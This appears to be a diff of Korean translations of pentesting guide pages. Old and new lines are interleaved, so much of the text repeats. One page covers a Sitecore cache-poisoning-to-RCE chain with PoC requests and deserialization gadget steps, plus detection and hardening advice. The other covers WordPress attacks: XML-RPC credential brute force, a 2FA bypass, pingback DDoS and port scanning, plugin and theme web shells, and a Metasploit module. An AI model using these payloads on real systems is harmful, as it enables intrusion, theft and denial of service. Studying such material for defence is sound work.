xmlcontrol:GlobalHeader를 타깃으로 삼아 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, 우리는 preauth arbitrary HtmlCache write primitive를 획득합니다.
### PoC 요청 (CVE-2025-53693)
```
@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
노트:
- __SOURCE는 Sitecore.Shell.Xaml.WebControl 내부의 xmlcontrol:GlobalHeader의 clientID입니다 (정적 XAML에서 유래하므로 보통 ctl00_ctl00_ctl05_ctl03처럼 안정적입니다).
- __SOURCE는 Sitecore.Shell.Xaml.WebControl 내 xmlcontrol:GlobalHeader의 clientID입니다(정적 XAML에서 유래하므로 일반적으로 ctl00_ctl00_ctl05_ctl03 같은 값으로 안정적임).
- __PARAMETERS 형식은 Method("arg1","arg2")입니다.
## What to poison: Cache key construction
## 오염시킬 대상: Cache key construction
Sitecore controls에서 사용되는 일반적인 HtmlCache 키 구성:
Sitecore 컨트롤에서 사용되는 일반적인 HtmlCache 키 구성:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -90,31 +90,31 @@ return k;
return string.Empty;
}
```
알려진 sublayout에 대한 예제 targeted poisoning:
알려진 sublayout에 대한 targeted poisoning 예시:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## 캐시 가능한 항목 및 “vary by” 차원 열거
ItemService가 (잘못) 익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 도출할 수 있다.
ItemService가 (잘못)익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 얻을 수 있습니다.
빠른 탐색:
간단한 확인:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
캐시 가능한 항목 및 플래그 목록:
캐시 가능한 항목 및 플래그를 나열:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 같은 필드를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:
다음과 같은 필드(Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate)를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
ItemService가 제한된 계정(예: ServicesAPI)으로 위임되어 빈 Results 배열을 반환하더라도, TotalCount는 여전히 preACL Solr hits를 반영할 수 있습니다. 와일드카드를 사용해 item groups/ids를 bruteforce하면 TotalCount가 수렴하며 내부 콘텐츠 및 장치를 매핑하는 것을 관찰할 수 있습니다:
ItemService가 제한된 계정(예: ServicesAPI)으로 가장하고 빈 Results 배열을 반환하더라도 TotalCount는 ACL 이전의 Solr 히트를 반영할 수 있습니다. 와일드카드를 사용해 item 그룹/ids를 bruteforce하고 TotalCount가 수렴하는 것을 관찰하여 내부 콘텐츠와 장치를 매핑할 수 있습니다:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## 인증 후 RCE: convertToRuntimeHtml의 BinaryFormatter sink (CVE-2025-53691)
## Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
@ -131,7 +131,7 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
convertToRuntimeHtml 파이프라인 단계 ConvertWebControls를 통해 접근 가능하며, 이 단계는 id가 {iframeId}_inner인 요소를 찾아 base64로 디코드하고 역직렬화한 다음, 결과 문자열을 HTML에 주입합니다:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
@ -159,33 +159,33 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
가젯 생성: ysoserial.net / YSoNet와 BinaryFormatter를 사용해 문자열을 반환하는 base64 페이로드를 생성한다. 해당 문자열의 내용은 deserialization 부작용이 실행된 후 ConvertWebControls에 의해 HTML에 기록된다.
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Complete chain
## 전체 체인
1) Preauth 공격자가 XAML AjaxScriptManager를 통해 WebControl.AddToCache를 리플렉티브하게 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
2) 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
3) FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 이 과정에서 BinaryFormatter를 통해 공격자가 제어하는 base64를 deserialization하여 Sitecore 앱 풀 식별자로 RCE가 발생한다.
1) Preauth 공격자는 XAML AjaxScriptManager를 통해 반사적으로 WebControl.AddToCache를 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
2) 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
3) FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 여기서 BinaryFormatter로 공격자 제어의 base64를 역직렬화(deserialization)하여 Sitecore 앱 풀 아이덴티티로 RCE를 유발한다.
## Detection
## 탐지
- Preauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl`에 대한 요청에서 `__ISEVENT=1`, 의심스러운 `__SOURCE``__PARAMETERS=AddToCache(...)`.
- ItemService probing: `/sitecore/api/ssc` 와일드카드 쿼리 급증, 빈 `Results`와 큰 `TotalCount`.
- Deserialization attempts: `EditHtml.aspx` 다음에 `FixHtml.aspx?hdl=...` 호출 및 HTML 필드에 비정상적으로 큰 base64.
- Preauth XAML: `__ISEVENT=1`가 있는 `/-/xaml/Sitecore.Shell.Xaml.WebControl`로의 요청, 의심스러운 `__SOURCE``__PARAMETERS=AddToCache(...)`.
- ItemService probing: `/sitecore/api/ssc` 와일드카드 쿼리 급증, 빈 `Results`와 큰 `TotalCount`.
- Deserialization attempts: `EditHtml.aspx` 다음에 `FixHtml.aspx?hdl=...` 및 HTML 필드에 비정상적으로 큰 base64.
## Hardening
## 하드닝
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit `/-/xaml/`.
- BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버 측 검증 시행.
- `/sitecore/api/ssc`를 loopback 또는 인증된 롤로만 제한; `TotalCount` 기반 side channels를 leak하는 impersonation 패턴을 피한다.
- Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도 영향을 줄이기 위해 CSP 검토.
- Sitecore 패치 KB1003667 및 KB1003734 적용; preauth XAML 핸들러를 차단/비활성화하거나 엄격한 검증 추가; `/-/xaml/` 모니터링 및 ratelimit 적용.
- BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버측 검증 시행.
- `/sitecore/api/ssc`를 loopback 또는 인증된 역할로 제한; impersonation 패턴이 `TotalCount`based side channels를 leak하지 않도록 회피.
- Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도(steering) 영향을 줄이기 위해 CSP 검토.
## References
## 참고자료
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)

View File

@ -4,49 +4,49 @@
## 기본 정보
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** 따라서 테마의 php를 변경하여 RCE를 얻으려면 아마도 해당 경로를 사용하게 됩니다. 예: **theme twentytwelve**를 사용하면 [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)에서 **404.php** 파일에 **access**할 수 있습니다.
- **업로드된** 파일은: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다,** 따라서 테마의 일부 php를 수정하여 RCE를 얻으려면 아마 그 경로를 사용할 것입니다. 예를 들어: **theme twentytwelve**를 사용하면 다음에서 **404.php** 파일에 접근할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **또 다른 유용한 URL 예시:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- `wp-config.php`에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
- `index.php`
- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
- 로그인 폴더(숨기기 위해 이름이 바뀌어 있을 수 있음):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 하여 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉리입니다.
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉리입니다.
- `wp-includes/`는 인증서, 폰트, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉리입니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서는 공개된 모든 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 taxonomy를 포함한 sitemap XML 파일을 생성합니다.
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉리입니다.
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉리입니다.
- `wp-includes/`는 인증서, 폰트, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉리입니다.
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서는 공개 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 분류를 포함한 sitemap XML 파일을 생성합니다.
**Post exploitation**
- `wp-config.php` 파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 정보(데이터베이스 이름, database host, username 및 password, authentication keys 및 salts, 데이터베이스 테이블 접두사 등)가 포함되어 있습니다. 이 구성 파일은 또한 문제 해결에 유용한 DEBUG 모드를 활성화하는 데 사용될 수 있습니다.
- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 DEBUG 모드를 활성화하는 데에도 사용될 수 있으며, 문제 해결에 유용합니다.
### Users Permissions
### 사용자 권한
- **Administrator**
- **Editor**: 자신의 글과 다른 사용자의 글을 게시하고 관리할 수 있습니다
- **Author**: 자신의 글을 게시하고 관리할 수 있습니다
- **Contributor**: 글을 작성하고 관리할 수 있으나 게시할 수는 없습니다
- **Subscriber**: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다
- **Editor**: 자신의 게시물과 다른 사람의 게시물을 게시하고 관리합니다
- **Author**: 자신의 게시물을 게시하고 관리합니다
- **Contributor**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다
- **Subscriber**: 게시물을 열람하고 자신의 프로필을 편집니다
## **Passive Enumeration**
### **Get WordPress version**
다음 파일(`/license.txt` 또는 `/readme.html`)을 찾을 수 있는지 확인하세요
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하세요.
페이지의 **source code** 안에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
페이지의 **소스 코드** 내부에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -77,39 +77,39 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## 능동적 열거
## Active enumeration
### Plugins and Themes
아마 모든 Plugins and Themes를 찾지 못할 것입니다. 모두 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다 (다행히 이러한 목록을 포함한 자동화 도구들이 존재합니다).
모든 Plugins and Themes를 찾지 못할 가능성이 높습니다. 모두 찾아내기 위해서는 **actively Brute Force a list of Plugins and Themes** 해야 합니다(운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다).
### 사용자
### Users
- **ID Brute:** WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
응답이 **200** 또는 **30X**이면, 해당 id는 **유효**입니다. 응답이 **400**이면 id는 **무효**입니다.
응답이 **200** 또는 **30X**이면 해당 id는 **유효**입니다. 응답이 **400**이면 id는 **무효**입니다.
- **wp-json:** 쿼리하여 users에 대한 정보를 얻어볼 수도 있습니다:
- **wp-json:** 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
사용자에 대한 일부 정보를 공개할 수 있는 또 다른 `/wp-json/` 엔드포인트는:
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **이 기능을 활성화한 사용자에 대한 정보만 제공됩니다**.
Note that this endpoint only exposes users that have made a post. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**
또한 **/wp-json/wp/v2/pages**는 IP 주소를 leak할 수 있습니다.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: 로그인할 때 **`/wp-login.php`**에서 **메시지**가 **다르게** 표시되어 해당 **사용자 이름이 존재하는지 여부**를 알려줍니다.
- **Login username enumeration**: **`/wp-login.php`**에 로그인할 때 **메시지**가 해당 **사용자 이름의 존재 여부**에 따라 **다릅니다**.
### XML-RPC
만약 `xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 다른 자원에 대해 DoS 공격을 시작하는 데 사용할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
`xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 다른 리소스에 DoS 공격을 실행하는 데 사용할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
활성화 여부를 확인하려면 _**/xmlrpc.php**_에 접근하여 다음 요청을 전송해보세요:
**확인**
```html
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**자격 증명 Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 brute-force하는 데 사용할 수 있는 방법들 중 일부입니다. 만약 이들 중 하나를 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`**는 credentials를 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 이들 중 어느 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
자격 증명이 유효하지 않을 경우, 200 코드 응답 내에 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
자격 증명이 올바르지 않으면 200 응답 코드 내에 있는 _"Incorrect username or password"_ 메시지가 표시되어야 합니다.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,17 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
또한 **더 빠른 방법**이 있는데, 동일한 요청에서 여러 자격증명을 시도할 수 있기 때문에 **`system.multicall`**을 사용해 자격증명을 brute-force할 수 있습니다:
또한 같은 요청에서 여러 credentials를 시도할 수 있으므로 **`system.multicall`**을 사용해 credentials를 brute-force하는 **더 빠른 방법**이 있습니다:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA 우회**
**Bypass 2FA**
메서드는 사람용이 아니라 프로그램용으로 만들어졌고 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 creds를 가지고 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하듯 여전히 RCE에 도달할 수 있습니다.
방법은 프로그램용(사람용이 아니며)으로 만들어졌고 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 creds를 가지고 있지만 메인 진입이 2FA로 보호되어 있다면, **xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있습니다**. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있을지도 모릅니다.
**DDoS 또는 포트 스캐닝**
**DDoS or port scanning**
목록 안에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\
이것은 수천 개의 Wordpress **sites**에 하나의 **location**에 **access**하도록 요청해 그 위치에서 **DDoS**를 유발하게 하거나, Wordpress를 이용해 내부 **network**를 **scan**하도록 만들 때(임의의 포트를 지정할 수 있습니다) 사용할 수 있습니다.
목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\ 이 기능을 이용하면 **수천 개**의 **Wordpress** **사이트**가 하나의 **위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 **location**에서 **DDoS**가 발생합니다) 또는 **Wordpress**를 이용해 내부 **네트워크**의 일부를 **스캔**하게 만들 수도 있습니다(임의의 포트를 지정할 수 있습니다).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +190,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
**faultCode** 값이 **0**(17)보다 **큰** 경우, 포트가 열려 있음을 의미합니다.
**faultCode**의 값이 **0** (17)보다 **큰** 경우 포트가 열려 있다는 의미입니다.
이전 섹션에서 **`system.multicall`**의 사용을 살펴보면 이 메서드를 악용해 DDoS를 유발하는 방법을 알 수 있습니다.
이전 섹션에서 **`system.multicall`**의 사용을 확인하여 이 메서드를 악용해 DDoS를 유발하는 방법을 알아보세요.
**DDoS**
```html
@ -209,15 +208,15 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
### wp-cron.php DoS
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
이 파일에 **접근**하면 **무거운** MySQL **쿼리**가 실행되어, **공격자**가 이를 이용해 **DoS**를 **유발**할 수 있습니다.\
또한 기본적으로, `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress의 어떤 페이지든 요청할 때마다) 시 호출되므로, 트래픽이 많은 사이트에서는 문제가 될 수 있습니다 (DoS).
이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\
이 파일에 **접근**하면 "**heavy**" MySQL **query**가 수행되어 **attackers**가 **DoS**를 **유발**할 수 있습니다.\
또한 기본적으로 `wp-cron.php`는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되며, 트래픽이 많은 사이트에서는 문제가 생길 수 있습니다 (DoS).
Wp-Cron을 비활성화하고 호스트 내부에서 실제 cronjob을 만들어 필요한 작업을 정기적으로 수행하도록 하는 것을 권장합니다(문제를 일으키지 않도록).
Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 생성하여 필요한 작업을 정기적으로 수행하도록 설정하는 것이 권장됩니다 (문제 없이).
### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
다음 URL에 접근해보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
This is the response when it doesn't work:
@ -230,96 +229,96 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
이 도구는 **methodName: pingback.ping**이 있는지와 경로 **/wp-json/oembed/1.0/proxy**가 존재하는지를 확인하고, 존재하면 이를 악용하려 시도합니다.
이 도구는 **methodName: pingback.ping** 및 경로 **/wp-json/oembed/1.0/proxy**의 존재를 확인하고, 존재하면 이를 exploit하려고 시도합니다.
## 자동 도구
## 자동 도구
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## 비트 하나를 덮어써서 접근 얻기
## 비트를 덮어써서 접근 얻기
실제 공격이라기보다 호기심에 가깝습니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 wordpress 파일의 임의 위치에서 1 비트를 반전시킬 수 있었습니다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`의 비트를 반전시켜 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
실제 공격이라기보다 호기심에 가깝다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 예를 들어 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP 처리할 수 있다.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **패널 RCE**
**사용 중인 테마의 php 수정 (관리자 자격 증명 필요)**
**사용 중인 테마의 php 수정 (admin credentials needed)**
Appearance → Theme Editor → 404 Template (at the right)
Appearance → Theme Editor → 404 Template (오른쪽)
php shell을 위해 내용을 변경:
php shell 내용을 변경:
![](<../../images/image (384).png>)
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음에 접근하면 됩니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음 URL에 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
다음과 같이 사용할 수 있습니다:
사용할 수 있습니다:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
세션을 얻기 위해.
## Plugin RCE
## 플러그인 RCE
### PHP plugin
### PHP 플러그인
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
.php 파일을 플러그인으로 업로드할 수 있는 경우가 있습니다.\
예를 들어 다음과 같이 php 백도어를 생성하세요:
![](<../../images/image (183).png>)
Then add a new plugin:
그런 다음 새 플러그인을 추가하세요:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
플러그인을 업로드한 후 Install Now를 누르세요:
![](<../../images/image (249).png>)
Click on Procced:
Procced를 클릭하세요:
![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
아마 아무런 변화가 없을 수 있지만, Media로 이동하면 업로드된 셸을 볼 수 있습니다:
![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell:
접속하면 reverse shell을 실행할 URL을 볼 수 있습니다:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 web shell을 얻을 수 있게 하는 방식입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다:
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 소스에서 획득합니다(예: [**here**](https://www.exploit-db.com/exploits/36374)).
2. **Plugin Installation**:
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
- WordPress 대시보드로 이동한 다음 `Dashboard > Plugins > Upload Plugin`로 이동합니다.
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드에서 활성화해야 합니다.
4. **Exploitation**:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
- reflex-gallery 플러그인이 설치되고 활성화된 상태에서 취약점이 알려져 있어 악용할 수 있습니다.
- Metasploit framework는 이 취약점에 대한 exploit를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter 세션을 수립해 사이트에 무단 접근할 수 있습니다.
- 이는 WordPress 사이트를 exploit하는 여러 방법 중 하나일 뿐입니다.
